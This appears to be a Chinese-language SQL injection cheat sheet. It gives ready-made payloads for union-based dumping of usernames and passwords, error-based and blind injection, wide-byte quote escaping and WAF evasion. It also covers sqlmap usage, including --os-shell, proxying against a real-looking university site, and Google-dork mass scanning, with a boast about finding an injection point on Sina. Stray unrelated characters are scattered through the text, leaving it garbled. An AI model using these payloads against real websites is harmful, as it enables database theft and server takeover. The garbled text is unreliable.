一慷丽、分類
可以有以下幾種不同的維度:
維度一:基于注入點(diǎn)值的屬性
- 數(shù)字型
- 字符型
維度二:基于注入點(diǎn)的位置 - GET/POST
- COOKIE
- HEAD型
維度三:基于注入的程度和順序 - 一階注入
- 二階注入
注:一階注入指注入的語(yǔ)句直接對(duì)web應(yīng)用產(chǎn)生了結(jié)果,二階注入是間接產(chǎn)生結(jié)果,例如存儲(chǔ)型xss(不太恰當(dāng))螟蒸,輔助別的漏洞來(lái)利用近刘。
維度四:從服務(wù)器返回的響應(yīng)
1瞪慧、有回顯
- 聯(lián)合注入
- 堆查詢注入
2灭翔、無(wú)回顯 - 布爾盲注
- 延時(shí)盲注
二头滔、幾種類型的舉例
1、數(shù)字型
?id=1 and 1=1#
?id=1 and 1=2# 判斷是否存在注入
?id=1 order by i# 判斷列數(shù)
?id=-1 union select 1,2,3,4,5 #看回顯位
?id=-1 union select @@version,database(),datadir# 查出數(shù)據(jù)庫(kù)版本沐鼠、當(dāng)前數(shù)據(jù)庫(kù)、當(dāng)前數(shù)據(jù)庫(kù)的地址
以下是mysql的系統(tǒng)函數(shù):
要注入出數(shù)據(jù)庫(kù)中的數(shù)據(jù)叹谁,就不得不提到mysql的系統(tǒng)表 information_schema
information_schema提供了訪問(wèn)數(shù)據(jù)庫(kù)元數(shù)據(jù)的方式饲梭,其中保存著關(guān)于MySQL服務(wù)器所維護(hù)的所有其他數(shù)據(jù)庫(kù)的信息,如數(shù)據(jù)庫(kù)名或表名焰檩,列的數(shù)據(jù)類型憔涉,或訪問(wèn)權(quán)限等。在INFORMATION_SCHEMA中析苫,有些只讀表兜叨,它們實(shí)際上是視圖,而不是基本表衩侥,所以無(wú)法看到與之相關(guān)的任何文件国旷。
SCHEMATA:提供了當(dāng)前mysql實(shí)例中所有數(shù)據(jù)庫(kù)的信息,show databases的結(jié)果取之此表茫死。
TABLES:提供了關(guān)于數(shù)據(jù)庫(kù)中的表的信息(包括視圖)跪但,詳細(xì)表述了某個(gè)表屬于哪個(gè)schema,表類型峦萎,表引擎屡久,創(chuàng)建時(shí)間等信息,show tables from schemaname的結(jié)果取之此表爱榔。
COLUMNS:提供了表中的列信息被环,詳細(xì)表述了某張表的所有列以及每個(gè)列的信息,show columns from schemaname.tablename的結(jié)果取之此表详幽。
STATISTICS:提供了關(guān)于表索引的信息筛欢,show index from schemaname.tablename的結(jié)果取之此表。
USER_PRIVILEGES(用戶權(quán)限):給出了關(guān)于全程權(quán)限的信息,該信息源自mysql.user授權(quán)表悴能,是非標(biāo)準(zhǔn)表揣钦。
SCHEMA_PRIVILEGES(方案權(quán)限):給出了關(guān)于方案(數(shù)據(jù)庫(kù))權(quán)限的信息,該信息來(lái)自mysql.db授權(quán)表漠酿,是非標(biāo)準(zhǔn)表冯凹。
TABLE_PRIVILEGES(表權(quán)限):給出了關(guān)于表權(quán)限的信息,該信息源自mysql.tables_priv授權(quán)表炒嘲,是非標(biāo)準(zhǔn)表宇姚。
COLUMN_PRIVILEGES(列權(quán)限):給出了關(guān)于列權(quán)限的信息,該信息源自mysql.columns_priv授權(quán)表夫凸,是非標(biāo)準(zhǔn)表浑劳。
CHARACTER_SETS(字符集):提供了mysql實(shí)例可用字符集的信息,SHOW CHARACTER SET結(jié)果集取之此表夭拌。
COLLATIONS:提供了關(guān)于各字符集的對(duì)照信息魔熏。
COLLATION_CHARACTER_SET_APPLICABILITY:指明了可用于校對(duì)的字符集,這些列等效于SHOW COLLATION的前兩個(gè)顯示字段鸽扁。
TABLE_CONSTRAINTS:描述了存在約束的表蒜绽,以及表的約束類型。
KEY_COLUMN_USAGE:描述了具有約束的鍵列桶现。
ROUTINES:提供了關(guān)于存儲(chǔ)子程序(存儲(chǔ)程序和函數(shù))的信息躲雅,此時(shí),ROUTINES表不包含自定義函數(shù)(UDF)骡和,名為“mysql.proc name”的列指明了對(duì)應(yīng)于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列相赁。
VIEWS:給出了關(guān)于數(shù)據(jù)庫(kù)中的視圖的信息,需要有show views權(quán)限慰于,否則無(wú)法查看視圖信息钮科。
TRIGGERS:提供了關(guān)于觸發(fā)程序的信息,必須有super權(quán)限才能查看該表婆赠。
數(shù)據(jù)庫(kù)也可以這樣查詢出來(lái):
?id=-1 union select 1,2,schema_name from information_schema.schemata limit 0,1# 逐個(gè)查出數(shù)據(jù)庫(kù)跺嗽,也可以group_concat(schema_name) 一鍋端
注入出當(dāng)前數(shù)據(jù)庫(kù)之后就是查表(table)了:
?id=-1 union select table_name from information_schema.tables where table_schema=database() limit 0,1#
如法炮制查列:
?id=-1 union select column_name from information_schema.columns where table_name=user limit 0,1 #
表、列都出來(lái)了就爆字段了:
?id=-1 union select username,passwd from user limit 0,1 #
3页藻、字符型:
注意閉合字符后面的單/雙引號(hào)
?id=-1' union select username,passwd from user limit 0,1 #
?id=-1" union select username,passwd from user limit 0,1 #
報(bào)錯(cuò):
涉及到如下幾個(gè)函數(shù):
- updatexml() 報(bào)錯(cuò)
- extractvalue() 報(bào)錯(cuò)
- floor()桨嫁、count(*)、random()報(bào)錯(cuò)
- name_const() 報(bào)錯(cuò)
- exp()函數(shù)
(1)份帐、UPDATEXML (XML_document, XPath_string, new_value)
限制了最大長(zhǎng)度為32
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
替換select user部分的語(yǔ)句
(2)璃吧、EXTRACTVALUE (XML_document, XPath_string)
限制了最大長(zhǎng)度為32
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
(3)、floor()废境、count()畜挨、random()報(bào)錯(cuò)*
公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想獲取的數(shù)據(jù)的sql語(yǔ)句))x from information_schema.tables group by x )a) and '1' = '1
**(4)筒繁、name_const() **
低版本,數(shù)據(jù)重復(fù)報(bào)錯(cuò)
name_const()函數(shù)是MYSQL5.0.12版本加入的一個(gè)返回給定值的函數(shù)巴元。當(dāng)用來(lái)產(chǎn)生一個(gè)結(jié)果集合列時(shí) , NAME_CONST() 促使該列使用給定名稱毡咏。
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x
(5)、exp()函數(shù)
mysql>5.5.5
exp(x):計(jì)算e的x次方
Payload: and (EXP(~(select * from(select version())a)))
Exp()超過(guò)710會(huì)產(chǎn)生溢出逮刨。
將0按位取反就會(huì)返回“18446744073709551615”呕缭,而函數(shù)執(zhí)行成功會(huì)返回0,所以將成功執(zhí)行的函數(shù)取反就會(huì)得到最大的無(wú)符號(hào)BIGINT值修己,從而造成報(bào)錯(cuò)恢总。
4、盲注:
(1)睬愤、true/false
頁(yè)面顯示就2種情況片仿,正確或錯(cuò)誤
- length()
- substr()
- ascii()
and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101 %23 limit
(2)、基于時(shí)間的
根據(jù)時(shí)間線來(lái)判斷尤辱,涉及到的函數(shù):
Sleep(int time)砂豌,執(zhí)行將程序(進(jìn)程)掛起一段時(shí)間,毫秒;
if(expr1光督,ecpr2阳距,expr3)判斷語(yǔ)句;
and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23
采用二分法逐個(gè)字母猜解
cookie、referer頭可帽、user-agent頭:
注入點(diǎn)變了,抓包注入窗怒,方法和上述相似
5映跟、寬字節(jié):
gbk 一個(gè)漢字2個(gè)字節(jié)
utf-8 一個(gè)漢字3個(gè)字節(jié)
mysql在使用GBK編碼的時(shí)候,會(huì)認(rèn)為兩個(gè)字符是一個(gè)漢字(前一個(gè)ascii碼要大于128扬虚,才到漢字的范圍)
如:
?id=1 %df'--->?id=1 %df'--->?id=1%df%5c'---->?id=1字' 單引號(hào)就逃逸了出來(lái)
根據(jù)gbk編碼努隙,第一個(gè)字節(jié)ascii碼大于128,基本上就可以了辜昵。比如我們不用%df荸镊,用%a1也可以
把這個(gè)思路擴(kuò)展到世界上所有多字節(jié)編碼,我們可以這樣認(rèn)為:只要低位的范圍中含有0x5c的編碼堪置,就可以進(jìn)行寬字符注入躬存。
參考:https://www.cnblogs.com/lcamry/articles/5625276.html
三、sql注入繞過(guò)
1舀锨、大小寫混合
適用場(chǎng)景:
- 只針對(duì)小寫或者大寫的關(guān)鍵字匹配技術(shù)
- 正則表達(dá)式未使用 /i 參數(shù)岭洲,/expression/i 匹配時(shí)大小寫不敏感便無(wú)法繞過(guò)
例如:
/index.php?id=-15 uNIoN sELeCt 1,2,3,4
2、兩次 URL 編碼
適用場(chǎng)景:
- 后端對(duì)請(qǐng)求參數(shù)額外做了一次 URL 解碼坎匿,WAF 認(rèn)為安全的參數(shù)經(jīng)過(guò)解碼后變得不安全
例如:
- /index.php?id=0%252f%252a/UNION%252f%252a/SELECT 1
后端對(duì) id 參數(shù)進(jìn)行 URL 解碼盾剩,得到 0//UNION//SELECT
3雷激、十六進(jìn)制編碼
例:
/index.php?page_id=-15 union select 1,2,3,4, SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
Unicode 編碼
- 單引號(hào):
%u0027、%u02b9告私、%u02bc屎暇、%u02c8、%u2032驻粟、%uff07根悼、%c0%27、%c0%a7格嗅、%e0%80%a7 - 空格:%u0020番挺、%uff00、%c0%20屯掖、%c0%a0玄柏、%e0%80%a0
- 左括號(hào):%u0028、%uff08贴铜、%c0%28粪摘、%c0%a8、%e0%80%a8
- 右括號(hào):%u0029绍坝、%uff09徘意、%c0%29、%c0%a9轩褐、%e0%80%a9
4椎咧、寬字節(jié)逃逸引號(hào)
適用場(chǎng)景:
- 前后端編碼不一致,GBK/GB2312 與 UTF-8 混用
- 例如:
/index.php?name=0 %df' UNION SELECT 'xxxxx
5把介、使用注釋符
- 減減號(hào)(--)
- /* */
- MySQL 條件注釋
例:
/!50000SELECT/ 在 MySQL 5.0 及以上版本中等價(jià)于 SELECT
6勤讽、等價(jià)替代
- hex()、bin() => ascii()
- sleep() => benchmark()
- concat_ws() => group_concat()
- mid()拗踢、substr() => substring()
- @@user => user()
- @@datadir => datadir()
例如:無(wú)法使用 substring() 和 substr() 函數(shù)時(shí):
?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74
substr((select 'password'),1,1) = 0x70 可以用 strcmp() 配合 left() 替代
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
7脚牍、運(yùn)算符
and => &&、or => ||
= => <巢墅、>诸狭、like、regexp
與空格等價(jià)的字符
- SQLite: 0A, 0D, 0C, 09, 20
- MySQL: 09, 0A, 0B, 0C, 0D, A0, 20
- PostgreSQL: 0A, 0D, 0C, 09, 20
- Oracle 11g: 00, 0A, 0D, 0C, 09, 20
- MSSQL: 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20
8君纫、使用特殊符號(hào)
- 使用反引號(hào)
驯遇,例如 select
version()`,可以用來(lái)過(guò)空格和正則蓄髓,一些情況下還可以將其作注釋符用 - 神奇的"-+."妹懒,select+id-1+1.from users; "+"是用于字符串連接的,"-"和"."在此也用于連接双吆,可以逃過(guò)空格和關(guān)鍵字過(guò)濾
- @ 符號(hào)眨唬,select@^1.from users; @用于變量定義如@var_name会前,一個(gè)@表示用戶定義,@@表示系統(tǒng)變量
- MySQL function() as xxx 也可不用 as 和空格
- select-count(id)test from users //繞過(guò)空格限制
9匾竿、HTTP 參數(shù)控制
-
HPP (HTTP參數(shù)污染)
例如:
/?id=1;select+1&id=2,3+from+users+where+id=1-
/id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users
針對(duì)多個(gè)同名參數(shù)瓦宜,不同 Web 服務(wù)器處理方式:
圖片.png HPF (HTTP參數(shù)分割)
例如:
- /a=1+union/&b=/select+1,pass/&c=/from+users%26*
最終查詢語(yǔ)句:
select * from table where a=1 union/ and b=/select 1,pass/ limit /from users#
-
HPC (HTTP Parameter Contamination)
RFC2396定義了一些字符:
Unreserved(未保留): a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved(保留): ; / ? : @ & = + $ ,
Unwise(欠考慮): { } | \ ^ [ ] `
不同的Web服務(wù)器處理特殊請(qǐng)求時(shí)的不同處理:
圖片.png
以魔術(shù)字符%為例, ASP/ASPX受影響
10、緩沖區(qū)溢出
緩沖區(qū)溢出用于對(duì)付 WAF 在內(nèi)的軟件本身岭妖,不少 WAF 是由 C 語(yǔ)言編寫临庇,如果存在不安全的編碼,WAF 在處理測(cè)試向量時(shí)超出了其緩沖區(qū)長(zhǎng)度將引發(fā)不可預(yù)料的錯(cuò)誤昵慌,從而可能繞過(guò) WAF
例如:
?id=1 and (select 1)=(Select 0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26*
其中:A*1000 為 1000 個(gè) A
11假夺、整合繞過(guò)
組合使用上述繞過(guò)技巧,例如:
?id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/!uNIOn/+/!SeLECt/+1,2,3,4…
?id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM /information_schema/.tables/!WHERE/+/!TaBlE_ScHeMa/+like+database()– -
id=-725+/!UNION/+/!SELECT/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/!INFORMATION_SCHEM/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
SQL Filter 的實(shí)現(xiàn)和 Evalion (逃避)
- SQL注入使用最多的關(guān)鍵字
and, or, union, where, limit, group by, select, ', hex, substr, 0x - 檢測(cè)它們的完整正則表達(dá)式
preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr|\s)/i', $id) - 模糊測(cè)試及繞過(guò)技巧
通過(guò)conv(10-36], 10, 36)可以實(shí)現(xiàn)所有字符的表示
使用數(shù)學(xué)函數(shù)
四斋攀、關(guān)于sqlmap
--dbs 爆出數(shù)據(jù)庫(kù)
--tables 數(shù)據(jù)表
--columns 列
--cookie="cookie的值" --level=2
--user-agent="UA值" --level=3或3以上
--referer="referer值" --level=3或3以上
--os--shell getshell 系統(tǒng)交互 前提:知道網(wǎng)站的物理路徑(php探針已卷、訪問(wèn)錯(cuò)誤暴路徑、淳蔼、侧蘸、、)
使用代理:
原型:
sqlmap.py --proxy=(http|https|socks4|socks5)://address:port --proxy-cred=username:password
例如:
./sqlmap.py -u "http://www.cauyt.edu.cn/gg/index.asp?depart=124" --proxy=http://120.198.233.211:8
如果你想觀察sqlmap對(duì)一個(gè)點(diǎn)是進(jìn)行了怎樣的嘗試判斷以及讀取數(shù)據(jù)的鹉梨,可以使用-v參數(shù)讳癌。
共有七個(gè)等級(jí),默認(rèn)為1:
0存皂、只顯示python錯(cuò)誤以及嚴(yán)重的信息晌坤。
1、同時(shí)顯示基本信息和警告信息旦袋。(默認(rèn))
2骤菠、同時(shí)顯示debug信息。
3猜憎、同時(shí)顯示注入的payload娩怎。
4搔课、同時(shí)顯示HTTP請(qǐng)求胰柑。
5、同時(shí)顯示HTTP響應(yīng)頭爬泥。
6柬讨、同時(shí)顯示HTTP響應(yīng)頁(yè)面。
如果你想看到sqlmap發(fā)送的測(cè)試payload最好的等級(jí)就是3袍啡。
從文本中獲取多個(gè)目標(biāo)掃描
參數(shù):-m
文件中保存url格式如下踩官,sqlmap會(huì)一個(gè)一個(gè)檢測(cè)
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
處理Google的搜索結(jié)果
參數(shù):-g
sqlmap可以測(cè)試注入Google的搜索結(jié)果中的GET參數(shù)(只獲取前100個(gè)結(jié)果)。
例子:
python sqlmap.py -g "inurl:".php?id=1""
(很牛B的功能境输,測(cè)試了一下蔗牡,第十幾個(gè)就找到新浪的一個(gè)注入點(diǎn))
此外可以使用-c參數(shù)加載sqlmap.conf文件里面的相關(guān)配置颖系。
請(qǐng)求http數(shù)據(jù)
參數(shù):--data
此參數(shù)是把數(shù)據(jù)以POST方式提交,sqlmap會(huì)像檢測(cè)GET參數(shù)一樣檢測(cè)POST的參數(shù)辩越。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
參數(shù)拆分字符
參數(shù):--param-del
當(dāng)GET或POST的數(shù)據(jù)需要用其他字符分割測(cè)試參數(shù)的時(shí)候需要用到此參數(shù)嘁扼。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -
參考:
http://wooyun.jozxing.cc/static/drops/tips-143.html
http://wooyun.jozxing.cc/static/drops/tips-401.html
http://wooyun.jozxing.cc/static/drops/tips-5254.html